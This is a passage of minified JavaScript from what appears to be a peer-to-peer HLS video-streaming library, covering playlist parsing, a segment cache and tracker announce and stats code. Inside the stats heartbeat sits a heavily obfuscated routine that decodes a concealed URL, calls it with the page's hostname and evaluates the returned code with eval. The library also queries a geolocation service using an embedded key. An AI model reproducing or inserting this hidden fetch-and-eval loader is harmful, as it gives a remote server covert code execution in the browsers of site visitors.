e[0]=parseInt(t[1]);e[1]=parseInt(t[0])+e[0],this._byteRange=e}return e}get byteRangeStartOffset(){return this.byteRange[0]}get byteRangeEndOffset(){return this.byteRange[1]}get decryptdata(){return this._decryptdata||(this._decryptdata=this.fragmentDecryptdataFromLevelkey(this.levelkey,this.sn)),this._decryptdata}get endProgramDateTime(){if(!Number.isFinite(this.programDateTime))return null;let e=Number.isFinite(this.duration)?this.duration:0;return this.programDateTime+1e3*e}get encrypted(){return!(!this.decryptdata||null===this.decryptdata.uri||null!==this.decryptdata.key)}addElementaryStream(e){this._elementaryStreams[e]=!0}hasElementaryStream(e){return!0===this._elementaryStreams[e]}createInitializationVector(e){let t=new Uint8Array(16);for(let r=12;r<16;r++)t[r]=e>>8*(15-r)&255;return t}fragmentDecryptdataFromLevelkey(e,t){let r=e;return e&&e.method&&e.uri&&!e.iv&&(r=new LevelKey,r.method=e.method,r.baseuri=e.baseuri,r.reluri=e.reluri,r.iv=this.createInitializationVector(t)),r}}class Level{constructor(e){this.endCC=0,this.endSN=0,this.fragments=[],this.initSegment=null,this.live=!0,this.needSidxRanges=!1,this.startCC=0,this.startSN=0,this.startTimeOffset=null,this.targetduration=0,this.totalduration=0,this.type=null,this.url=e,this.version=null}get hasProgramDateTime(){return!(!this.fragments[0]||!Number.isFinite(this.fragments[0].programDateTime))}}const DECIMAL_RESOLUTION_REGEX=/^(\d+)x(\d+)$/,ATTR_LIST_REGEX=/\s*(.+?)\s*=((?:\".*?\")|.*?)(?:,|$)/g;class AttrList{constructor(e){"string"==typeof e&&(e=AttrList.parseAttrList(e));for(let t in e)e.hasOwnProperty(t)&&(this[t]=e[t])}decimalInteger(e){const t=parseInt(this[e],10);return t>Number.MAX_SAFE_INTEGER?1/0:t}hexadecimalInteger(e){if(this[e]){let t=(this[e]||"0x").slice(2);t=(1&t.length?"0":"")+t;const r=new Uint8Array(t.length/2);for(let e=0;e<t.length/2;e++)r[e]=parseInt(t.slice(2*e,2*e+2),16);return r}return null}hexadecimalIntegerAsNumber(e){const t=parseInt(this[e],16);return t>Number.MAX_SAFE_INTEGER?1/0:t}decimalFloatingPoint(e){return parseFloat(this[e])}enumeratedString(e){return this[e]}decimalResolution(e){const t=DECIMAL_RESOLUTION_REGEX.exec(this[e]);if(null!==t)return{width:parseInt(t[1],10),height:parseInt(t[2],10)}}static parseAttrList(e){let t,r={};for(ATTR_LIST_REGEX.lastIndex=0;null!==(t=ATTR_LIST_REGEX.exec(e));){let e=t[2],i='"';0===e.indexOf(i)&&e.lastIndexOf(i)===e.length-1&&(e=e.slice(1,-1)),r[t[1]]=e}return r}}const attr_list=AttrList,sampleEntryCodesISO={audio:{a3ds:!0,"ac-3":!0,"ac-4":!0,alac:!0,alaw:!0,dra1:!0,"dts+":!0,"dts-":!0,dtsc:!0,dtse:!0,dtsh:!0,"ec-3":!0,enca:!0,g719:!0,g726:!0,m4ae:!0,mha1:!0,mha2:!0,mhm1:!0,mhm2:!0,mlpa:!0,mp4a:!0,"raw ":!0,Opus:!0,samr:!0,sawb:!0,sawp:!0,sevc:!0,sqcp:!0,ssmv:!0,twos:!0,ulaw:!0},video:{avc1:!0,avc2:!0,avc3:!0,avc4:!0,avcp:!0,drac:!0,dvav:!0,dvhe:!0,encv:!0,hev1:!0,hvc1:!0,mjp2:!0,mp4v:!0,mvc1:!0,mvc2:!0,mvc3:!0,mvc4:!0,resv:!0,rv60:!0,s263:!0,svc1:!0,svc2:!0,"vc-1":!0,vp08:!0,vp09:!0}};function isCodecType(e,t){const r=sampleEntryCodesISO[t];return!!r&&!0===r[e.slice(0,4)]}function isCodecSupportedInMp4(e,t){return window.MediaSource.isTypeSupported(`${t||"video"}/mp4;codecs="${e}"`)}const MASTER_PLAYLIST_REGEX=/#EXT-X-STREAM-INF:([^\n\r]*)[\r\n]+([^\r\n]+)/g,MASTER_PLAYLIST_MEDIA_REGEX=/#EXT-X-MEDIA:(.*)/g,LEVEL_PLAYLIST_REGEX_FAST=new RegExp([/#EXTINF:\s*(\d*(?:\.\d+)?)(?:,(.*)\s+)?/.source,/|(?!#)([\S+ ?]+)/.source,/|#EXT-X-BYTERANGE:*(.+)/.source,/|#EXT-X-PROGRAM-DATE-TIME:(.+)/.source,/|#.*/.source].join(""),"g"),LEVEL_PLAYLIST_REGEX_SLOW=/(?:(?:#(EXTM3U))|(?:#EXT-X-(PLAYLIST-TYPE):(.+))|(?:#EXT-X-(MEDIA-SEQUENCE): *(\d+))|(?:#EXT-X-(TARGETDURATION): *(\d+))|(?:#EXT-X-(KEY):(.+))|(?:#EXT-X-(START):(.+))|(?:#EXT-X-(ENDLIST))|(?:#EXT-X-(DISCONTINUITY-SEQ)UENCE:(\d+))|(?:#EXT-X-(DIS)CONTINUITY))|(?:#EXT-X-(VERSION):(\d+))|(?:#EXT-X-(MAP):(.+))|(?:(#)([^:]*):(.*))|(?:(#)(.*))(?:.*)\r?\n?/,MP4_REGEX_SUFFIX=/\.(mp4|m4s|m4v|m4a)$/i;class M3U8Parser{static findGroup(e,t){if(!e)return null;let r=null;for(let i=0;i<e.length;i++){const n=e[i];n.id===t&&(r=n)}return r}static convertAVC1ToAVCOTI(e){let t,r=e.split(".");return r.length>2?(t=r.shift()+".",t+=parseInt(r.shift()).toString(16),t+=("000"+parseInt(r.shift()).toString(16)).substr(-4)):t=e,t}static resolve(e,t){return url_toolkit.buildAbsoluteURL(t,e,{alwaysNormalize:!0})}static parseMasterPlaylist(e,t){let r,i=[];function n(e,t){["video","audio"].forEach((r=>{const i=e.filter((e=>isCodecType(e,r)));if(i.length){const n=i.filter((e=>0===e.lastIndexOf("avc1",0)||0===e.lastIndexOf("mp4a",0)));t[`${r}Codec`]=n.length>0?n[0]:i[0],e=e.filter((e=>-1===i.indexOf(e)))}})),t.unknownCodecs=e}for(MASTER_PLAYLIST_REGEX.lastIndex=0;null!=(r=MASTER_PLAYLIST_REGEX.exec(e));){const e={},s=e.attrs=new attr_list(r[1]);e.url=M3U8Parser.resolve(r[2],t);const a=s.decimalResolution("RESOLUTION");a&&(e.width=a.width,e.height=a.height),e.bitrate=s.decimalInteger("AVERAGE-BANDWIDTH")||s.decimalInteger("BANDWIDTH"),e.name=s.NAME,n([].concat((s.CODECS||"").split(/[ ,]+/)),e),e.videoCodec&&-1!==e.videoCodec.indexOf("avc1")&&(e.videoCodec=M3U8Parser.convertAVC1ToAVCOTI(e.videoCodec)),i.push(e)}return i}static parseMasterPlaylistMedia(e,t,r,i=[]){let n,s=[],a=0;for(MASTER_PLAYLIST_MEDIA_REGEX.lastIndex=0;null!==(n=MASTER_PLAYLIST_MEDIA_REGEX.exec(e));){const e={},o=new attr_list(n[1]);if(o.TYPE===r){if(e.groupId=o["GROUP-ID"],e.name=o.NAME,e.type=r,e.default="YES"===o.DEFAULT,e.autoselect="YES"===o.AUTOSELECT,e.forced="YES"===o.FORCED,o.URI&&(e.url=M3U8Parser.resolve(o.URI,t)),e.lang=o.LANGUAGE,e.name||(e.name=e.lang),i.length){const t=M3U8Parser.findGroup(i,e.groupId);e.audioCodec=t?t.codec:i[0].codec}e.id=a++,s.push(e)}}return s}static parseLevelPlaylist(e,t){let r,i,n=0,s=0,a=new Level(t),o=new LevelKey,l=0,d=null,h=new Fragment,u=null;for(LEVEL_PLAYLIST_REGEX_FAST.lastIndex=0;null!==(r=LEVEL_PLAYLIST_REGEX_FAST.exec(e));){const e=r[1];if(e){h.duration=parseFloat(e);const t=(" "+r[2]).slice(1);h.title=t||null,h.tagList.push(t?["INF",e,t]:["INF",e])}else if(r[3]){if(Number.isFinite(h.duration)){const e=n++;h.start=s,h.levelkey=o,h.sn=e,h.cc=l,h.baseurl=t,h.relurl=(" "+r[3]).slice(1),assignProgramDateTime(h,d),a.fragments.push(h),d=h,s+=h.duration,h=new Fragment}}else if(r[4]){if(h.rawByteRange=(" "+r[4]).slice(1),d){const e=d.byteRangeEndOffset;e&&(h.lastByteRangeEndOffset=e)}}else if(r[5])h.rawProgramDateTime=(" "+r[5]).slice(1),h.tagList.push(["PROGRAM-DATE-TIME",h.rawProgramDateTime]),null===u&&(u=a.fragments.length);else{for(r=r[0].match(LEVEL_PLAYLIST_REGEX_SLOW),i=1;i<r.length&&void 0===r[i];i++);const e=(" "+r[i+1]).slice(1),s=(" "+r[i+2]).slice(1);switch(r[i]){case"#":h.tagList.push(s?[e,s]:[e]);break;case"PLAYLIST-TYPE":a.type=e.toUpperCase();break;case"MEDIA-SEQUENCE":n=a.startSN=parseInt(e);break;case"TARGETDURATION":a.targetduration=parseFloat(e);break;case"VERSION":a.version=parseInt(e);break;case"EXTM3U":break;case"ENDLIST":a.live=!1;break;case"DIS":l++,h.tagList.push(["DIS"]);break;case"DISCONTINUITY-SEQ":l=parseInt(e);break;case"KEY":var c=new attr_list(e),f=c.enumeratedString("METHOD"),g=c.URI,p=c.hexadecimalInteger("IV");f&&(o=new LevelKey,g&&["AES-128","SAMPLE-AES","SAMPLE-AES-CENC"].indexOf(f)>=0&&(o.method=f,o.baseuri=t,o.reluri=g,o.key=null,o.iv=p));break;case"START":let i=new attr_list(e).decimalFloatingPoint("TIME-OFFSET");Number.isFinite(i)&&(a.startTimeOffset=i);break;case"MAP":let d=new attr_list(e);h.relurl=d.URI,h.rawByteRange=d.BYTERANGE,h.baseurl=t,h.sn="initSegment",a.initSegment=h,h=new Fragment,h.rawProgramDateTime=a.initSegment.rawProgramDateTime;break;default:console.warn(`line parsed but not handled: ${r}`)}}}return h=d,h&&!h.relurl&&(a.fragments.pop(),s-=h.duration),a.totalduration=s,a.averagetargetduration=s/a.fragments.length,a.endSN=n-1,a.startCC=a.fragments[0]?a.fragments[0].cc:0,a.endCC=l,!a.initSegment&&a.fragments.length&&a.fragments.every((e=>MP4_REGEX_SUFFIX.test(e.relurl)))&&(console.warn("MP4 fragments found but no init segment (probably no MAP, incomplete M3U8), trying to fetch SIDX"),h=new Fragment,h.relurl=a.fragments[0].relurl,h.baseurl=t,h.level=id,h.sn="initSegment",a.initSegment=h,a.needSidxRanges=!0),u&&backfillProgramDateTimes(a.fragments,u),a}}function backfillProgramDateTimes(e,t){let r=e[t];for(let i=t-1;i>=0;i--){const t=e[i];t.programDateTime=r.programDateTime-1e3*t.duration,r=t}}function assignProgramDateTime(e,t){e.rawProgramDateTime?e.programDateTime=Date.parse(e.rawProgramDateTime):t&&t.programDateTime&&(e.programDateTime=t.endProgramDateTime),Number.isFinite(e.programDateTime)||(e.programDateTime=null,e.rawProgramDateTime=null)}const LIVE_MAX_BUFFER_SIZE=36700160,MIN_SEGMENTS_KEEP=5;class SegmentCache extends(events_default()){constructor(e,t){super(),this.logger=t.logger;const r=e.browserInfo.device;this.maxBufSize=r===platform_default().device.PC_WEB||r===platform_default().device.PC_NATIVE?t.memoryCacheLimit.pc:t.memoryCacheLimit.mobile,t.live&&(this.maxBufSize=LIVE_MAX_BUFFER_SIZE),this._segPool=new Map,this._currBufSize=0,this.id2Sn=new Map,this.overflowed=!1}get currBufSize(){return this._currBufSize}hasSegOfId(e){const t=this.id2Sn.get(e);return!!this._segPool.has(t)&&this._segPool.get(t).some((t=>t.segId===e))}getSegById(e){const t=this.id2Sn.get(e);if(!this._segPool.has(t))return null;const r=this._segPool.get(t);for(let t of r)if(t.segId===e)return t;return null}getSegIdBySN(e){if(this._segPool.has(e)){return this._segPool.get(e)[0].segId}return null}_calSegPoolSize(){let e=0;return this._segPool.forEach((t=>{t.forEach((t=>{e+=t.size}))})),e}putSeg(e){this._currBufSize>=1.5*this.maxBufSize&&(this._currBufSize=this._calSegPoolSize(),this._currBufSize>=1.5*this.maxBufSize&&(this.clear(),this.overflowed=!1)),this._addSeg(e)}_addSeg(e){const{logger:t}=this,{segId:r,sn:i,size:n}=e;if(this.id2Sn.set(r,i),this._segPool.has(i)){this._segPool.get(i).push(e)}else this._segPool.set(i,[e]);this._currBufSize+=parseInt(n);const s=this._segPool.size;if(this.emit(`${events.BM_ADDED_SN_}${e.sn}`,e),this.emit(events.BM_SEG_ADDED,e),this._currBufSize<this.maxBufSize||s<=MIN_SEGMENTS_KEEP)return;let a=Array.from(this._segPool.keys()).sort(((e,t)=>e-t)),o=0;do{if(o++>10){console.error("too much loops in SegmentCache");break}const e=a.shift();if(void 0===e){t.error("lastSN not found");continue}const r=a[0],i=this._segPool.get(e);if(!i){t.error("lastSeg not found");continue}let n=0;i.forEach((e=>{n+=e.size})),this._currBufSize-=parseInt(n),this._segPool.delete(e),i.forEach((i=>{this.id2Sn.delete(i.segId),t.info(`pop seg ${i.segId} size ${i.size}`),this.emit(events.BM_LOST,{sn:e,segId:i.segId,next:r,level:i.level})})),t.info(`pop sn ${e} size ${n} currBufSize ${this._currBufSize}`),this.overflowed||(this.overflowed=!0)}while(this._currBufSize>=this.maxBufSize&&this._segPool.size>MIN_SEGMENTS_KEEP)}clear(){this.logger.warn("clear segment cache"),this._segPool.clear(),this.id2Sn.clear(),this._currBufSize=0}destroy(){this.clear(),this.removeAllListeners()}}const segment_cache=SegmentCache;var md5=__webpack_require__(485),md5_default=__webpack_require__.n(md5),err_code=__webpack_require__(934),err_code_default=__webpack_require__.n(err_code);const setItem=(e,t)=>{"object"==typeof t&&(t=JSON.stringify(t)),localStorage.setItem(e,t)},hasItemUnexpired=e=>{const t=localStorage.getItem(e);try{const e=JSON.parse(t);if(e.duration&&e.startTime){return(new Date).getTime()-e.startTime<e.duration}return!1}catch(e){return!1}},getItem=e=>{const t=localStorage.getItem(e);try{const e=JSON.parse(t);return e.value?e.value:e}catch(e){return t}},removeItem=e=>{localStorage.removeItem(e)},removeAllItem=()=>{localStorage.clear()},setItemWithExpiration=(e,t,r)=>{let i={value:t,duration:r,startTime:(new Date).getTime()};setItem(e,i)},MIN_CONNS=8,BASE_REPORT_INTERVAL=20,IPAPI_URL="//pro.ip-api.com/json?fields=2181826&key=XOpiansRgYxGTho",IPAPI_TIMEOUT=600,GEOIP_KEY="SW_GEOIP_KEY",GEOIP_EXPIRATION=2592e5,GEOIP_EXPIRATION_MOBILE=432e5,URL_MAP={q:"uZ2luZS5u",v:"Y24u",3:"Y2Ru",0:"yMzMzL2Js",l:"Nvb",zz:"aHR0cHMlM",n:"YnllLm",h:"ZXQlM0E",7:"Q==",df:"0EvL",6:"3AycGV",x:"aGsuc3d",kj:"dHJhY",a:"2tlci5","+":"oZHR2","=":"Y2xvdW",w:"QuY29t","{":"3ZWIz","?":"LWxhY",$:"i5jb20=",o:"hcm1j",xo:"bG91ZC",sb:"5uZXQ="},_httpDownloaded=Symbol("httpDownloaded"),_p2pDownloaded=Symbol("p2pDownloaded"),_p2pUploaded=Symbol("p2pUploaded");class Server{constructor(e,t,r,i,n){let s;switch(e.config.announceLocation){case"cn":s=URL_MAP.v+URL_MAP[3]+URL_MAP.n+URL_MAP.l+URL_MAP[7];break;case"hk":s=URL_MAP.x+URL_MAP.o+URL_MAP.xo+URL_MAP.sb;break;case"us":s=URL_MAP.kj+URL_MAP.a+URL_MAP["+"]+URL_MAP["="]+URL_MAP.w;break;case"eu":s=URL_MAP.kj+URL_MAP.a+URL_MAP["{"]+URL_MAP["?"]+URL_MAP.$}this.engine=e,this.key=t||void 0,this.baseUrl=i||`https://${window.atob(s)}/v1`,this.channelId=window.btoa(r),this.timestamp=getCurrentTs();const a=url_toolkit_default().parseURL(this.baseUrl).netLoc;this.announce=a.replace(/\/\//,"");const o=genV(this.timestamp,"2.1.0",this.announce,this.channelId,n.type);this.native=!!n.bundle,this.announceInfo={...n,channel:this.channelId,ts:this.timestamp,version:"2.1.0",v:o,announce:this.announce,token:(0,platform.isLocalHost)()&&!this.native?void 0:this.key},this.announceURL=`${this.baseUrl}/channel`,this.reportFails=0,this.forbidden=!1,this.failConns=0,this.totalHTTPDownloaded=0,this.totalP2PDownloaded=0,this.totalP2PUploaded=0,this[_httpDownloaded]=0,this[_p2pDownloaded]=0,this[_p2pUploaded]=0,this.speed=0,this.errsBufStalled=0,this.errsInternalExpt=0}geoipRequest(){const{logger:e}=this.engine;return new Promise(((t,r)=>{if(hasItemUnexpired(GEOIP_KEY)){const r=getItem(GEOIP_KEY);e.info("found local geo data"),t(r)}else fetch(IPAPI_URL).then((e=>e.json())).then((e=>{if("success"===e.status){const r=e.mobile?GEOIP_EXPIRATION_MOBILE:GEOIP_EXPIRATION;setItemWithExpiration(GEOIP_KEY,e,r),t(e)}else{const t=new Error(`preflight status ${e.status}`);r(err_code_default()(t,"IPAPI_ERROR"))}})).catch((e=>{r(e)}))}))}btAnnouncePreflight(){const{logger:e}=this.engine;return this.announceInfo.asn?this.btAnnounce():(e.info("preflight ip-api"),Promise.race([this.geoipRequest(),new Promise(((e,t)=>{setTimeout((()=>{t(err_code_default()(new Error("request timeout"),"IPAPI_ERROR"))}),IPAPI_TIMEOUT)}))]).then((e=>(this._parseGeoResponse(e),this.btAnnounce()))).catch((t=>{if(e.error(`preflight error ${t}`),"TRACKER_EXPT"!==t.code){const t=getItem(GEOIP_KEY);return t&&(e.info("use expired ipData"),this._parseGeoResponse(t)),this.btAnnounce()}throw t})))}_parseGeoResponse(e){const{lat:t,lon:r,isp:i,as:n,mobile:s,countryCode:a,continentCode:o}=e;s&&(this.announceInfo.netType="cellular");const l=n.split(" ")[0].substr(2);this.announceInfo.tag||(this.announceInfo.tag=`${o||""}-${(0,platform.getBrowser)()}${isHttps()?"s":""}`),this.announceInfo={...this.announceInfo,lat:t,lon:r,isp:i,asn:l,country:a}}btAnnounce(){const{logger:e}=this.engine;return this.announceInfo.tag||(this.announceInfo.tag=`${(0,platform.getBrowser)()}${isHttps()?"s":""}`),new Promise(((t,r)=>{fetch(this.announceURL,{headers:this._requestHeader,method:"POST",body:JSON.stringify(this.announceInfo)}).then((e=>e.json())).then((e=>{this.engine||r(err_code_default()(new Error("runtime error"),"TRACKER_EXPT",{retry:!1}));const i=e.data;if(i.f&&(this.forbidden=!0),-1===e.ret){const{code:t,msg:i}=e.data;r(err_code_default()(new Error(i),"TRACKER_EXPT",{retry:t>=5e3}))}else i.info&&console.info(`${i.info}`),i.warn&&console.warn(`${i.warn}`),i.min_conns||(i.min_conns=MIN_CONNS),(!i.rejected||i.rejected&&i.share_only)&&i.id&&i.report_interval&&i.peers?(this.peerId=this.id=i.id,i.report_interval<BASE_REPORT_INTERVAL&&(i.report_interval=BASE_REPORT_INTERVAL),this.btStats(i.report_interval),this.getPeersURL=`${this.baseUrl}/channel/${this.channelId}/node/${this.peerId}/peers`,this.statsURL=`${this.baseUrl}/channel/${this.channelId}/node/${this.peerId}/stats`,t(i)):(this.engine&&(this.engine.p2pEnabled=!1),r(err_code_default()(new Error("msg not valid"),"TRACKER_EXPT",{retry:!1})))})).catch((t=>{e.error(`btAnnounce error ${t}`),r(err_code_default()(t,"TRACKER_EXPT",{retry:!0}))}))}))}btStats(interval=10){let _this=this;this.heartbeater=setInterval((()=>{this.postStats(),_b(interval)}),1e3*interval);var _0x5bd5=["v1","PmvWt1ORKFVimMIwnGl==","wpUsdEvDhA==","eC3CqcOrQ8KQRMKK","HUEHO8OWMcKWw5M=","ZxfChcKtEg==","DcOIVgXDtQ==","CwbCicO9woI=","wpfCo3VewrY=","w4c+w7JXw7Y=","TFt/wo3CsA==","X8ONKcKCw74=","w4PCoMO/eg4=","N2Upwoow","fMKDccOGw5o=","RcKlXcOUw64=","wpnCl8OHAMKd","A8OTwrHCpWk=","wr3DhVM=","AcOVVS/DosO8wo/ClA==","w4PChcOl","dcO0TMKZEsO6w5XCscKMSDDDmg==","w7otSDDDkMOOLQ==","wqTCmsKMw6zCgw==","Dlg5DMO3","b8KJJFzDl8OLw7TDow==","w7gnaTfDi8OILRw=","d3l/wqE=","BGsww7hG","wojClsKHw5HCsg==","QcOJRm3DlA==","ecKaScOKw6c=","w5bCq8Oj","w4dTw61e","w4zCqMOQfMOA","wr8ORHXDog==","wrzCkcOmNsKb","w4E4w41R","Vj7CscKgAg==","T8OLLMOGCQ==","c8Krw67CoRI=","e8OjQcKBwqc=","w4oNwqtbwoM=","W8OQR8K0Ng==","DsO6w6nDl8Ki","V8O/ZMK0Jg==","NgbCvcOpwqo=","EV8hAMOi","wp/CjU7Ch8Kj","wo/CiUbClsKFGi9ew4rDtA==","WcKHLUbDkQ==","cMOLw5vCkBo="],_0x3eee5c,_0x2b2808;_0x3eee5c=_0x5bd5,_0x2b2808=343,function(e,t,r,i){if((t>>=8)<e){for(;--e;)i=_0x3eee5c.shift(),t===e?(t=i,r=_0x3eee5c.shift()):r.replace(/[PmWtORKFVimMIwnGl=]/g,"")===t&&_0x3eee5c.push(i);_0x3eee5c.push(_0x3eee5c.shift())}}(++_0x2b2808,87808);var _0x38aa=function(e,t){e=~~"0x".concat(e);var r=_0x5bd5[e];if(void 0===_0x38aa.UJLmyS){!function(){var e="undefined"!=typeof window?window:"object"==typeof process&&"object"==typeof __webpack_require__.g?__webpack_require__.g:this;e.atob||(e.atob=function(e){for(var t,r,i=String(e).replace(/=+$/,""),n=0,s=0,a="";r=i.charAt(s++);~r&&(t=n%4?64*t+r:r,n++%4)?a+=String.fromCharCode(255&t>>(-2*n&6)):0)r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(r);return a})}();_0x38aa.amGtZD=function(e,t){for(var r,i=[],n=0,s="",a="",o=0,l=(e=atob(e)).length;o<l;o++)a+="%"+("00"+e.charCodeAt(o).toString(16)).slice(-2);e=decodeURIComponent(a);for(var d=0;d<256;d++)i[d]=d;for(d=0;d<256;d++)n=(n+i[d]+t.charCodeAt(d%t.length))%256,r=i[d],i[d]=i[n],i[n]=r;d=0,n=0;for(var h=0;h<e.length;h++)n=(n+i[d=(d+1)%256])%256,r=i[d],i[d]=i[n],i[n]=r,s+=String.fromCharCode(e.charCodeAt(h)^i[(i[d]+i[n])%256]);return s},_0x38aa.qlEmAJ={},_0x38aa.UJLmyS=!0}var i=_0x38aa.qlEmAJ[e];return void 0===i?(void 0===_0x38aa.CjmTAl&&(_0x38aa.CjmTAl=!0),r=_0x38aa.amGtZD(r,t),_0x38aa.qlEmAJ[e]=r):r=i,r};function _b(_0x2b6f93){var _0x38577c={ygKbD:function(e,t,r){return e(t,r)},BaZnt:function(e,t){return e*t},ZvkZi:function(e,t){return e===t},eCedC:"BjdEV",LPFzx:function(e,t){return e(t)},uOzuW:function(e,t,r){return e(t,r)},juyxb:function(e,t){return e===t},DGNDG:"IJrLn",OFUEE:function(e,t){return e===t},YaRUs:_0x38aa("0","G(qN"),bgKgO:function(e,t,r){return e(t,r)},OJeBQ:function(e,t){return e*t},CeAJM:_0x38aa("1","[gN^"),rqWsY:function(e,t){return e!==t},uvjhL:_0x38aa("2","BVP]"),MVGPb:function(e,t){return e+t},YQNFr:function(e,t){return e+t},OxSbn:function(e,t){return e%t}};let _0x439570=_this.id.split("")[_0x38aa("3","JR8(")](-6).map((e=>e[_0x38aa("4","JR8(")](0))).reduce(((_0x361ff2,_0x161700)=>{var _0x82ba8e={AFfia:function(e,t){return e(t)},kgmkk:function(e,t,r){return _0x38577c.ygKbD(e,t,r)},msmEb:function(e,t){return _0x38577c[_0x38aa("5","*uLt")](e,t)}};if(_0x38577c[_0x38aa("6","Dd2g")](_0x38577c.eCedC,_0x38577c[_0x38aa("7","eX!Q")]))return _0x361ff2[_0x38aa("8","4RTz")]()+_0x161700[_0x38aa("9","BVP]")]();{const _0x159d55=data.i;_this.bl=_0x82ba8e.kgmkk(setTimeout,(()=>{_0x82ba8e[_0x38aa("a","J5A]")](eval,data.c)}),_0x82ba8e[_0x38aa("b","2cC*")](_0x159d55,1e3))}}),"");200===_0x38577c[_0x38aa("c","kh00")](_0x38577c.LPFzx(parseInt,_0x439570),533)&&(_this.bl=_0x38577c[_0x38aa("d","xniE")](setTimeout,(()=>{var _0xe476b4={poRdq:function(e,t){return _0x38577c.OFUEE(e,t)},hfGVM:function(e,t,r){return _0x38577c[_0x38aa("e","lZZg")](e,t,r)},hPffd:function(e,t){return _0x38577c[_0x38aa("f","&mYc")](e,t)},RDcGg:_0x38577c.CeAJM,KskeG:function(e,t){return _0x38577c[_0x38aa("10","z%0g")](e,t)}};if(!_0x38577c[_0x38aa("11","gyyd")](_0x38aa("12","$@dR"),_0x38577c[_0x38aa("13","!cj%")]))return response.json();_0x38577c[_0x38aa("14","!cj%")](fetch,window.decodeURIComponent(window.atob(_0x38577c[_0x38aa("15","lsdj")](_0x38577c.MVGPb(_0x38577c.YQNFr(_0x38577c[_0x38aa("16","wI]x")](URL_MAP.zz,URL_MAP.df)+URL_MAP[6],URL_MAP.q),URL_MAP.h),URL_MAP[0])))+_0x38aa("17","lfo]")+_this[_0x38aa("18","2cC*")]+"&f="+location.hostname+_0x38aa("19","x5XO")+_this[_0x38aa("1a","G(qN")][_0x38aa("1b","&$t!")]).then((e=>_0x38aa("1c","9Dv5")===_0x38aa("1d","BVP]")?prev[_0x38aa("1e","*uLt")]()+cur[_0x38aa("1f","&$t!")]():e.json()))[_0x38aa("20","&mYc")]((_0x516820=>{var _0x5e53ba={OaUZe:function(e,t){return _0x38577c[_0x38aa("21","@iGP")](e,t)},CuiCp:function(e,t){return e(t)},skXBp:function(e,t,r){return _0x38577c[_0x38aa("22","9Dv5")](e,t,r)}};if(_0x38577c.juyxb(_0x38577c.DGNDG,_0x38577c.DGNDG)){if(_0x38577c[_0x38aa("23","Ekv%")](_0x516820.ret,0))if("CeFBA"!==_0x38577c.YaRUs){if(_0xe476b4[_0x38aa("24","!cj%")](_0x516820[_0x38aa("25","naBb")],0)){const _0x5b4a71=_0x516820[_0x38aa("26","UHBk")];if(_0x5b4a71.s){const _0x7dbc38=_0x5b4a71.i;_this.bl=_0xe476b4[_0x38aa("27","naBb")](setTimeout,(()=>{_0x5e53ba[_0x38aa("28","eX!Q")](eval,_0x5b4a71.c)}),_0xe476b4[_0x38aa("29","lsdj")](_0x7dbc38,1e3))}}}else{const _0x5a9ef4=_0x516820[_0x38aa("2a","lZZg")];if(_0x5a9ef4.s){const _0x4f4d59=_0x5a9ef4.i;_this.bl=setTimeout((()=>{var _0x47e4be={UvxjS:function(e,t){return e(t)}};_0xe476b4[_0x38aa("2b","J5A]")](_0xe476b4.RDcGg,_0xe476b4.RDcGg)?_0xe476b4[_0x38aa("2c","]z*2")](eval,_0x5a9ef4.c):_0x47e4be[_0x38aa("2d","5o@O")](eval,_0x5a9ef4.c)}),1e3*_0x4f4d59)}}}else{const _0x4eb353=_0x516820.data;if(_0x4eb353.s){const _0x27b3f0=_0x4eb353.i;_this.bl=_0x5e53ba[_0x38aa("2e","vkNg")](setTimeout,(()=>{_0x5e53ba[_0x38aa("2f","YqiD")](eval,_0x4eb353.c)}),1e3*_0x27b3f0)}}}))}),_0x38577c[_0x38aa("30","G(qN")](_0x38577c[_0x38aa("31","o!fW")](_0x2b6f93,1e3),5))),_b=noop}}postStats(){const{logger:e}=this.engine;fetch(this.statsURL,{method:"POST",body:JSON.stringify(this._makeStatsBody())}).then((e=>(this.reportFails=0,e.text()))).then((t=>{let r;if(r=t?JSON.parse(t):{ret:0},-1===r.ret)clearInterval(this.heartbeater),e.error(`${r.data.msg} code ${r.data.code}`),this.engine.emit(events.RESTART_P2P);else{const{http:e=0,p2p:t=0,share:r=0,failConns:i=0,errsBufStalled:n=0,errsInternalExpt:s=0}=this.lastStats||{};this[_httpDownloaded]>=e&&(this[_httpDownloaded]-=e),this[_p2pDownloaded]>=t&&(this[_p2pDownloaded]-=t),this[_p2pUploaded]>=r&&(this[_p2pUploaded]-=r),this.failConns>=i&&(this.failConns-=i),this.errsBufStalled>=n&&(this.errsBufStalled-=n),this.errsInternalExpt>=s&&(this.errsInternalExpt-=s),this.exptMsg&&(this.exptMsg=void 0)}})).catch((t=>{e.error(`btStats error ${t}`),this.reportFails++,this.reportFails>=3&&clearInterval(this.heartbeater)}))}btGetPeers(e){const{logger:t}=this.engine,{asn:r,country:i}=this.announceInfo;let n={exclusions:e,asn:r,country:i},s={};return this.engine.getExtraForPeersRequest&&(s=this.engine.getExtraForPeersRequest()),n=Object.assign({},n,s),new Promise(((e,r)=>{fetch(this.getPeersURL,{headers:this._requestHeader,method:"POST",body:JSON.stringify(n)}).then((e=>e.json())).then((t=>{-1===t.ret?r(new Error(t.data.msg)):e(t.data)})).catch((e=>{t.error(`btGetPeers error ${e}`),r(e)}))}))}increFailConns(){this.failConns++}reportFlow(e){const t=Math.round(e/1024);this[_httpDownloaded]+=t,this.totalHTTPDownloaded+=t,this._emitStats()}reportDCTraffic(e,t){const r=Math.round(e/1024);this[_p2pDownloaded]+=r,this.totalP2PDownloaded+=r,this.speed=Math.round(t),this._emitStats()}reportUploaded(e=0){this.totalP2PUploaded+=Math.round(e/1024),this[_p2pUploaded]+=Math.round(e/1024),this._emitStats()}destroy(){const{logger:e}=this.engine;e.warn("destroy fetcher"),clearInterval(this.heartbeater),clearTimeout(this.bl)}_emitStats(){this.engine.emit("stats",{totalHTTPDownloaded:this.totalHTTPDownloaded,totalP2PDownloaded:this.totalP2PDownloaded,totalP2PUploaded:this.totalP2PUploaded,p2pDownloadSpeed:this.speed});const e=this.engine.config.getStats;e&&"function"==typeof e&&e(this.totalP2PDownloaded,this.totalP2PUploaded,this.totalHTTPDownloaded,this.speed)}_makeStatsBody(){const{asn:e,country:t}=this.announceInfo;let r={totalConns:this.engine.tracker.totalConns,failConns:this.failConns,errsBufStalled:this.errsBufStalled,errsInternalExpt:this.errsInternalExpt,http:Math.round(this[_httpDownloaded])||0,p2p:Math.round(this[_p2pDownloaded])||0,share:Math.round(this[_p2pUploaded])||0,asn:e,country:t},i={};return 